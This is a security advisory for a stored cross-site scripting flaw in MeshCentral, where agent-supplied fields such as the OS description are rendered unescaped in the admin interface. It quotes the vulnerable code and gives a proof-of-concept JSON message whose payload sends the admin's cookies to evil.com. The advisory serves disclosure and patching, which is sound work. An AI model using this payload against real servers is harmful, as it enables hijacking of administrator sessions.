GHSA-c7hr-448w-65px

Suggest an improvement
Source
https://github.com/advisories/GHSA-c7hr-448w-65px
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-c7hr-448w-65px/GHSA-c7hr-448w-65px.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-c7hr-448w-65px
Published
2026-08-18T20:09:35Z
Modified
2026-08-18T20:15:10Z
Severity
  • 8.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H CVSS Calculator
Summary
MeshCentral has unsanitized data fields
Details

Description

A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.

Technical Details

// meshagent.js:1903 -- Agent input, only type check
if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;
change = 1; }

// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()
if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); }
// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML

// INCONSISTENCY: Same field IS escaped elsewhere:
// Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s)
// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')

Additional unescaped agent fields:

  • node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH
  • cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM
  • volumes[].name unescaped in file browser (line 12612) -- MEDIUM

No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.

Proof of Concept

Rogue agent sends via WebSocket:

{
  "action": "coreinfo",
  "osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>",
  "name": "Legit-PC"
}

Payload fires when any admin views the device details panel. No click required.

image
Database specific
{
    "cwe_ids": [
        "CWE-20",
        "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T20:09:35Z",
    "nvd_published_at": null,
    "severity": "HIGH"
}
References

Affected packages

npm / meshcentral

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.1.60

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-c7hr-448w-65px/GHSA-c7hr-448w-65px.json"